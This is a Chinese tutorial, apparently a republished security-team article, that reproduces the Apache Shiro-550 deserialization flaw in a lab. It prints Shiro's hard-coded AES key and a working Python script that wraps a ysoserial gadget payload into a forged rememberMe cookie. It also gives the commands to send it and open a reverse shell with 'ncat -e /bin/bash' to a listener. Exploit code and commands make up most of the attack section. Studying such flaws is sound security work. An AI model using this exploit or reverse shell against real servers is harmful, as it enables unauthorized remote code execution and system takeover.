前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从0开始学java反序列化漏洞-第二篇:shiro反序列化(shiro-550)搭建实战

从0开始学java反序列化漏洞-第二篇:shiro反序列化(shiro-550)搭建实战

作者头像
Gcow安全团队
发布2020-03-06 11:50:14
1.2K0
发布2020-03-06 11:50:14
举报
文章被收录于专栏:Gcow安全团队

前提纪要:

command+E:显示最近编辑的文件列表

option+command+B :跟实现类

command+B :跟继承类

调试环境:

JDK 1.8

Tomcat 8.5

搭建环境:

1.下载shiro源码

代码语言:javascript
复制
git clone https://github.com/apache/shiro.git shiro-root
cd shiro-root
git checkout 1.2.0

修改:将jstl的版本改为1.2。

等依赖下载完

下载太慢解决方法:

https://blog.csdn.net/Yaoman753/article/details/102880941

漏洞当中提到了 AES 和 加密密钥硬编码,所以需要去跟一下源码。打开 CookieRememberMemanager.java,

继续跟它的父类 AbstractRememberMeManager:找到硬编码的加密密钥

代码语言:javascript
复制
public abstract class AbstractRememberMeManager implements RememberMeManager {
    private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
    private Serializer<PrincipalCollection> serializer = new DefaultSerializer();
    private CipherService cipherService = new AesCipherService();
    private byte[] encryptionCipherKey;
    private byte[] decryptionCipherKey;

一目了然,kPH+bIxk5D2deZiIxcaaaA==就是被写到代码中的密钥,我们都知道AES 是对称加密,对称加密的加解密使用的密钥是相同的。

下翻到后面,看到encrypt的代码,如下图所示:

代码语言:javascript
复制
protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = this.getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
        value = byteSource.getBytes();
    }

    return value;
}

接着跟CipherService函数:

代码语言:javascript
复制
public abstract class JcaCipherService implements CipherService

JcaCipherService 类来实现 CipherService的接口

接着翻这一页的代码。

动态调试看看:

序列化用的类是PrincipalCollection,encrypt的方法是AES,模式为CBC,填充模式为PKCS5.

cookie生成脚本:

代码语言:javascript
复制
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
   popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
   BS   = AES.block_size
   pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
   key  =  "kPH+bIxk5D2deZiIxcaaaA=="
   mode =  AES.MODE_CBC
   iv   =  uuid.uuid4().bytes
   encryptor = AES.new(base64.b64decode(key), mode, iv)
   file_body = pad(popen.stdout.read())
   base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
   return base64_ciphertext


if __name__ == '__main__':
   payload = encode_rememberme(sys.argv[1])
   with open("/tmp/payload.cookie", "w") as fpw:
       print("rememberMe={}".format(payload.decode()), file=fpw)

Vps

本地:python3 payload.py "ncat -e /bin/bash IP PORT"

vps执行

nc -vlp 2345

本地执行:

http :8080/web_war/ Cookie:`cat payload.cookie`

成功反弹shell

实际渗透环境中,只要得到key,有很多gadgets可以利用。

同时19年爆出

https://issues.apache.org/jira/browse/SHIRO-721

Shiro 721 Padding Oracle,相较于550而言,它不需要知道key的值,但是它需要一个合法用户的rememberMe cookie

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-02-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gcow安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前提纪要:
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档